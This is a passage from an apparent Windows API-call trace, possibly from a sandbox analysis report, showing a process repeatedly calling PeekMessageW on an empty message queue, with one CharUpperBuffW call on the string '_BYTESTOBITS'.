lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.593] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.594] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5f4c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5f4c0) returned 0 [0035.595] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.595] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.596] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.597] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26a4a5ef40) returned 0 [0035.598] PeekMessageW (in: lpMsg=0x26a4a5ef40, 